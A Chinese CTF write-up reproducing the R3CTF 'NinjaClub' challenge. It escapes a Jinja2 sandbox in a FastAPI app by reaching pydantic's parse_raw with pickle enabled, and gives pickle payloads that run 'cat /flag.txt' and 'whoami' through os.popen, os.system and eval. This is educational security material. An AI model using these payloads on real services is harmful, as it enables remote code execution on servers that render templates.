首页 > 其他分享 >R3CTF NinjaClub复现

R3CTF NinjaClub复现

时间:2024-06-14 21:22:45浏览次数:24  
标签:__ NinjaClub return py R3CTF 复现 preview pickle user

R3CTF NinjaClub jinjia2沙箱

题目源码

from jinja2.sandbox import SandboxedEnvironment, is_internal_attribute
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from pydantic import BaseModel
from typing import Union
import uvicorn

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
def index():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Ninja Club</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background: #333;
            color: #fff;
            text-align: center;
            padding: 50px;
        }
        h1 {
            color: #4CAF50;
        }
        p {
            font-size: 1.2em;
        }
        a {
            display: inline-block;
            background: #4CAF50;
            color: #fff;
            padding: 10px 20px;
            margin: 20px 0;
            border-radius: 5px;
            text-decoration: none;
            transition: background-color 0.3s ease;
        }
        a:hover {
            background-color: #3e8e41;
        }
        .container {
            max-width: 600px;
            margin: auto;
            background: #222;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.5);
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Welcome to Ninja Club!</h1>
        <p>Join us in the ninja club. We are present even in the sands of the Sahara. Sharpen your skills and become a master of stealth communications. Qualifications for entry are very strict, so preview your application first.</p>
        <a href="/preview">Preview</a>
    </div>
</body>
</html>
"""


@app.get("/preview", response_class=HTMLResponse)
def preview_page():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Preview Ninja Club</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background: #333;
            color: #fff;
            text-align: center;
            padding: 20px;
        }
        .container {
            max-width: 600px;
            margin: auto;
            background: #222;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.5);
        }
        h1, p {
            margin: 20px 0;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            text-align: left;
            color: #ccc;
        }
        input, textarea {
            width: calc(100% - 20px);
            padding: 10px;
            margin-top: 5px;
            border-radius: 4px;
            border: none;
            box-sizing: border-box;
        }
        button {
            background-color: #4CAF50;
            color: white;
            border: none;
            padding: 10px 20px;
            margin: 20px 0;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #3e8e41;
        }
        #output {
            background: #444;
            padding: 10px;
            margin-top: 20px;
            border-radius: 5px;
            min-height: 50px;
            word-wrap: break-word;
        }
        form {
            text-align: left;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Mailer Preview</h1>
        <p>Customize your ninja message:</p>
        <form id="form" onsubmit="handleSubmit(event);">
            <label for="name">Name variable:</label>
            <input id="name" name="name" value="John" />

            <label for="description">Description variable:</label>
            <input id="description" name="description" placeholder="Describe yourself here..." />

            <label for="age">Age variable:</label>
            <input id="age" name="age" type="number" value="18" />

            <label for="template">Template:</label>
            <textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea>

            <button type="submit">Preview</button>
        </form>
        <div id="output">Preview will appear here...</div>
    </div>
    <script>
        function handleSubmit(event) {
            event.preventDefault();
            const data = new FormData(event.target);
            const body = {user: {}, template: {source: data.get('template')}};
            body.user.name = data.get('name');
            body.user.description = data.get('description');
            body.user.age = data.get('age');

            fetch('/preview', {
                method: 'POST', 
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(body)
            })
            .then(response => response.text())
            .then(html => document.getElementById('output').innerHTML = html)
            .catch(error => console.error('Error:', error));
        }
    </script>
</body>
</html>
"""
class User(BaseModel):
    name: str
    description: Union[str, None] = None
    age: int


class Template(BaseModel):
    source: str


@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):

    env = SandboxedEnvironment()
    try:
        preview = env.from_string(template.source).render(user=user)
        return preview
    except UndefinedError as e:
        return e

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8001)

首先锁定我们的漏洞代码

@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):

    env = SandboxedEnvironment()
    try:
        preview = env.from_string(template.source).render(user=user)
        return preview
    except UndefinedError as e:
        return e

它是会进行一个模板解析的,那就是有ssti的风险,而且我们看一下示例

可以看见的是我们的{{}}内容是成功被解析了的

image-20240614203349810

那就是一道ssti 的题目,但是这个问题是,它是在

env = SandboxedEnvironment()

沙箱中,这个沙箱会有严格的过滤,几乎是不可能绕过的,我们看看过滤了什么

这是我们的调用栈

is_internal_attribute, sandbox.py:125
is_safe_attribute, sandbox.py:265
getattr, sandbox.py:333
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
    if isinstance(obj, types.FunctionType):
        if attr in UNSAFE_FUNCTION_ATTRIBUTES:
            return True
    elif isinstance(obj, types.MethodType):
        if attr in UNSAFE_FUNCTION_ATTRIBUTES or attr in UNSAFE_METHOD_ATTRIBUTES:
            return True
    elif isinstance(obj, type):
        if attr == "mro":
            return True
    elif isinstance(obj, (types.CodeType, types.TracebackType, types.FrameType)):
        return True
    elif isinstance(obj, types.GeneratorType):
        if attr in UNSAFE_GENERATOR_ATTRIBUTES:
            return True
    elif hasattr(types, "CoroutineType") and isinstance(obj, types.CoroutineType):
        if attr in UNSAFE_COROUTINE_ATTRIBUTES:
            return True
    elif hasattr(types, "AsyncGeneratorType") and isinstance(
        obj, types.AsyncGeneratorType
    ):
        if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES:
            return True
    return attr.startswith("__")

可以看到是一些过滤

反正前人就是很难绕过的,这种时候就要变换思路了,但是漏洞点还是在ssti,因为__的过滤,所以很多内置的函数就不可以使用了,然后我们看看这个类本身有什么函数,因为这个类的话是没什么利用函数的,我们看到这个函数还继承了

class User(BaseModel):
    name: str
    description: Union[str, None] = None
    age: int

是继承了BaseModel类,我们看看这个类有什么危险函数

来到我们的这个函数,因为它有一个参数非常让我们怀疑,就是我们的allow_pickle

image-20240614205937138

我们再详细跟踪看一看load_str_bytes方法

    if proto is None and content_type:
        if content_type.endswith(('json', 'javascript')):
            pass
        elif allow_pickle and content_type.endswith('pickle'):
            proto = Protocol.pickle
        else:
            raise TypeError(f'Unknown content-type: {content_type}')

    proto = proto or Protocol.json

    if proto == Protocol.json:
        if isinstance(b, bytes):
            b = b.decode(encoding)
        return json_loads(b)  # type: ignore
    elif proto == Protocol.pickle:
        if not allow_pickle:
            raise RuntimeError('Trying to decode with pickle with allow_pickle=False')
        bb = b if isinstance(b, bytes) else b.encode()  # type: ignore
        return pickle.loads(bb)
    else:
        raise TypeError(f'Unknown protocol: {proto}')

可以看到只需要我们传入的参数满足一些条件是可以pickle反序列化的,而且我们的参数都是可以控制的

首先content_type='pickle',allow_pickle=True

然后就是构造payload

可以用我们的pker工具

s = 'cat /flag.txt'
popen = GLOBAL('os', 'popen')
getattr = GLOBAL('__builtin__', 'getattr')
c = popen(s)
read = getattr(c, 'read')
d = read()
res = {}
res['name'] = d
res['age'] = 30
return res

不过需要学习语法,建议使用我们的

import os
import pickle
import base64

class User:
    def __init__(self, username, age):
        self.username = username
        self.age=age

    def __reduce__(self):
        return (eval, ("__import__('os').system('whoami')",))

user = User("ljl", 18)
print(pickle.dumps(user))
pickle.loads(b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!__import__('os').system('whoami')\x94\x85\x94R\x94.")

调用栈

parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

标签:__,NinjaClub,return,py,R3CTF,复现,preview,pickle,user
From: https://www.cnblogs.com/nn0nkey/p/18248678

相关文章

  • 长城杯CTF2024-PWN-kawayi复现
    文件保护libc版本uaf漏洞free函数没有进行置0操作GDB断点断点:0xD90泄漏libc由于v1>3会退出,所以必须在四次申请堆块中拿到shell第一次申请-创建largebinchunk因为创建largebin的chunk堆块,所以申请的是0x430第二次申请-创建tcachebinchunk申请一个tcache......
  • fastjson(版本<=1.2.24)复现
    文章目录1.啥是JSON介绍:2.啥是fastjson?3.fastjson序列化/反序列化原理4.fastjson反序列化漏洞原理$复现流程:漏洞影响范围:fastjson<=1.2.24一、漏洞环境搭建二、漏洞验证方法一三、漏洞验证方法二1.啥是JSON介绍:JSON,全称:JavaScriptObjectNotation,作为一个常见的......
  • Vulhub WebLogic漏洞复现
    目录前言任意文件上传漏洞(CVE-2018-2894)管理控制台未授权RCE漏洞(CVE-2020-14882&CVE-2020-14883)未授权RCE漏洞(CVE-2023-21839)SSRF漏洞(CVE-2014-4210)前言前面两篇针对WebLogic存在的XMLDecoder和T3协议反序列化漏洞进行了分析和复现,这里继续借助vulhub来复现WebLogic的其他漏洞......
  • 红日复现为什么失败之struct漏洞复现
    struts2漏洞一、指纹识别s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名部署在根目录下,工程名可为空;当然namespace名称也可设置为空;拓展名也可设置为空。方法一(1)url会有.action或.do后缀文件名(eg:http://192.168.xx.xx/integ......
  • CSRF漏洞复现及测试工具讲解
    一、Python编写一个存在CSRF漏洞①编写html网页<!DOCTYPEhtml><html><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>转账</title......
  • 论文复现---BeatGAN
    论文复现---BeatGAN原创 小王搬运工 时序课堂 2024-06-1110:02 四川BeatGAN:AnomalousRhythmDetectionusingAdversariallyGeneratedTime SeriesBeatGAN:使用对抗生成时间序列的异常心律检测https://github.com/Vniex/BeatGANPyTorch(1.0.0)scikit......
  • CISCN2024 初赛 wp 部分复现(Re)
    Misc1.火锅链观光打卡答题即可Re1.asm_re感谢智谱清言,可以读出大致加密算法这是输入这是加密部分这里判断找到疑似密文的部分,手动改一下端序#asm_wpdefdec(char):return(((char-0x1E)^0x4D)-0x14)//0x50#return(ord(char)*0x50+0......
  • R3CTF -Cry(部分)
    上线看了一下题,就做了三个,还是太菜了(T~T)r0system题目出的很抽象,就是代码长,没有啥别的考点,先创建一个账号,登录进入后修改Alice账号密码,再使用Alice登录拿到私钥就好了。fromhashlibimportmd5fromCrypto.CipherimportAESfromCrypto.Util.numberimport*importgmpy2f......
  • 【EI复现】考虑灵活性的数据中心微网两阶段鲁棒规划方法(Matlab代码实现)
     ......
  • PHP-CGI Windows平台远程代码执行漏洞复现(CVE-2024-4577)
    0x01产品简介PHP-CGI 是一种用于在 Web 服务器上运行 PHP 脚本的接口,通过 CGI(公共网关接口)将 PHP 解释器与 Web 服务器连接。0x02漏洞概述2024年6月,PHP官方发布新版本,修复了 PHP-CGI 中一个远程代码执行漏洞。鉴于该漏洞无前置条件,易于利用,且默认情况下可获取......